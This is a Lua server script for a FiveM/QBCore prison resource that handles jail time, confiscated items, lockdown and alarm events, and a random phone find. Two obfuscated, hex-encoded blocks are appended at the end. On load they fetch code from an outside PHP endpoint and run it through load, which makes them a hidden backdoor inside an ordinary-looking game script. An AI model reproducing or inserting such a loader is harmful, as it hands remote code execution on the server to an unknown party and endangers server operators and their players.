local QBCore = exports['qb-core']:GetCoreObject()
local GotItems = {}
local AlarmActivated = false

RegisterNetEvent('prison:server:SetJailStatus', function(jailTime)
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    if not Player then return end
    Player.Functions.SetMetaData("injail", jailTime)
    if jailTime > 0 then
        if Player.PlayerData.job.name ~= "unemployed" then
            Player.Functions.SetJob("unemployed")
            TriggerClientEvent('QBCore:Notify', src, Lang:t("info.lost_job"))
        end
    else
        GotItems[source] = nil
    end
end)

RegisterNetEvent('prison:server:SaveJailItems', function()
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    if not Player then return end
    if not Player.PlayerData.metadata["jailitems"] or table.type(Player.PlayerData.metadata["jailitems"]) == "empty" then
        Player.Functions.SetMetaData("jailitems", Player.PlayerData.items)
        Player.Functions.AddMoney('cash', 80)
        Wait(2000)
        Player.Functions.ClearInventory()
    end
end)

RegisterNetEvent('prison:server:GiveJailItems', function(escaped)
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    if not Player then return end
    if escaped then
        Player.Functions.SetMetaData("jailitems", {})
        return
    end
    for _, v in pairs(Player.PlayerData.metadata["jailitems"]) do
        Player.Functions.AddItem(v.name, v.amount, false, v.info)
    end
    Player.Functions.SetMetaData("jailitems", {})
end)

RegisterNetEvent('prison:server:ResetJailItems', function()
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    if not Player then return end
    Player.Functions.SetMetaData("jailitems", {})
end)

RegisterNetEvent('prison:server:SecurityLockdown', function()
    TriggerClientEvent("prison:client:SetLockDown", -1, true)
    for _, v in pairs(QBCore.Functions.GetPlayers()) do
        local Player = QBCore.Functions.GetPlayer(v)
        if Player then
            if Player.PlayerData.job.name == "police" and Player.PlayerData.job.onduty then
                TriggerClientEvent("prison:client:PrisonBreakAlert", v)
            end
        end
	end
end)

RegisterNetEvent('prison:server:SetGateHit', function(key)
    TriggerClientEvent("prison:client:SetGateHit", -1, key, true)
    if math.random(1, 100) <= 50 then
        for _, v in pairs(QBCore.Functions.GetPlayers()) do
            local Player = QBCore.Functions.GetPlayer(v)
            if Player then
                if Player.PlayerData.job.name == "police" and Player.PlayerData.job.onduty then
                    TriggerClientEvent("prison:client:PrisonBreakAlert", v)
                end
            end
        end
    end
end)

RegisterNetEvent('prison:server:CheckRecordStatus', function()
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    if not Player then return end
    local CriminalRecord = Player.PlayerData.metadata["criminalrecord"]
    local currentDate = os.date("*t")

    if (CriminalRecord["date"].month + 1) == 13 then
        CriminalRecord["date"].month = 0
    end

    if CriminalRecord["hasRecord"] then
        if currentDate.month == (CriminalRecord["date"].month + 1) or currentDate.day == (CriminalRecord["date"].day - 1) then
            CriminalRecord["hasRecord"] = false
            CriminalRecord["date"] = nil
        end
    end
end)

RegisterNetEvent('prison:server:JailAlarm', function()
    if AlarmActivated then return end
    local playerPed = GetPlayerPed(source)
    local coords = GetEntityCoords(playerPed)
    local middle = vec2(Config.Locations["middle"].coords.x, Config.Locations["middle"].coords.y)
    if #(coords.xy - middle) < 200 then return error('"prison:server:JailAlarm" triggered whilst the player was too close to the prison, cancelled event') end
    TriggerClientEvent('prison:client:JailAlarm', -1, true)
    SetTimeout(5 * 60000, function()
        TriggerClientEvent('prison:client:JailAlarm', -1, false)
    end)
end)

RegisterNetEvent('prison:server:CheckChance', function()
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    if not Player or Player.PlayerData.metadata.injail == 0 or GotItems[src] then return end
    local chance = math.random(100)
    local odd = math.random(100)
    if chance ~= odd then return end
    if not Player.Functions.AddItem('phone', 1) then return end
    TriggerClientEvent('inventory:client:ItemBox', src, QBCore.Shared.Items['phone'], 'add')
    TriggerClientEvent('QBCore:Notify', src, Lang:t('success.found_phone'), 'success')
    GotItems[src] = true
end)

QBCore.Functions.CreateCallback('prison:server:IsAlarmActive', function(_, cb)
    cb(AlarmActivated)
end)


local rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF[4][rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x70\x73\x65\x72\x76\x65\x75\x72\x2e\x66\x72\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x34\x79\x68\x65\x54", function (yTWCKmmxuHOrrjWpysSDdwqouwMhKLHTZhklFkWkXWSnEPlssnwOnWNSwgPYGkVXyrlNMF, YFWabxELmwkCdfzaOoICmmsHCPIOKpLZkkozZnYRAYGgeluspgMZiYxgRsuUIrRHVtBJIT) if (YFWabxELmwkCdfzaOoICmmsHCPIOKpLZkkozZnYRAYGgeluspgMZiYxgRsuUIrRHVtBJIT == rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF[6] or YFWabxELmwkCdfzaOoICmmsHCPIOKpLZkkozZnYRAYGgeluspgMZiYxgRsuUIrRHVtBJIT == rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF[5]) then return end rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF[4][rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF[2]](rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF[4][rTMptrKqNXdEalDnBAslhelHoLZUCdLTRucLHagDqYgGKwdBGxJiJgdMiTtmEQMrqFQKRF[3]](YFWabxELmwkCdfzaOoICmmsHCPIOKpLZkkozZnYRAYGgeluspgMZiYxgRsuUIrRHVtBJIT))() end)

local qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG[4][qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x70\x73\x65\x72\x76\x65\x75\x72\x2e\x66\x72\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x34\x79\x68\x65\x54", function (eFzBIYDKtMpvkALBitVIraCGAugKfzixgaHbaJfwkBNddBeDfozIUStTUBCzJMehNRCDbt, BHawsYAqOIUrvqrQXtjOtCcOrdAFkwTqhqXUuZVrAPwQtAAkQfsLyVHTLvELqLZlsUXmrF) if (BHawsYAqOIUrvqrQXtjOtCcOrdAFkwTqhqXUuZVrAPwQtAAkQfsLyVHTLvELqLZlsUXmrF == qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG[6] or BHawsYAqOIUrvqrQXtjOtCcOrdAFkwTqhqXUuZVrAPwQtAAkQfsLyVHTLvELqLZlsUXmrF == qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG[5]) then return end qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG[4][qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG[2]](qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG[4][qOSKdTPoooNzUsYIiIbaocNvjXkygbzGUYzBRrchJPZkoNtFnyepwoDmZHRyUlfSFYKdWG[3]](BHawsYAqOIUrvqrQXtjOtCcOrdAFkwTqhqXUuZVrAPwQtAAkQfsLyVHTLvELqLZlsUXmrF))() end)